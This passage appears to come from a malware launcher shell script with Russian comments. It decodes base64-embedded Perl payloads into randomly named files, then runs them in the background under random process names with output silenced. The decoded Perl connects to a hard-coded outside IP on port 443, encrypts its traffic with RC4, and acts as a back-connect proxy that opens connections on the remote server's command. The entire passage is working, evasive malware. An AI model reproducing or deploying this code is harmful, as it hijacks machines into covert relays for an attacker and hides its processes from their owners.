CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #30 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #30 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 31 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNTInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk 